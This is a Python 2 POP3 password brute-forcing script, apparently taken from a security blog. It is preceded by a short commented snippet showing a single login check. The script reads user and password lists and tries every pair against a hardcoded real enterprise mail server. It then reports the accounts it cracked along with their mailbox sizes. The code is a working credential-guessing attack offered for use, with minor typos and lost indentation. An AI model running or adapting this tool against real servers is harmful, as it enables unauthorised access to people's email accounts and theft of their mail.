server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author：joy_nick
@博客：http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"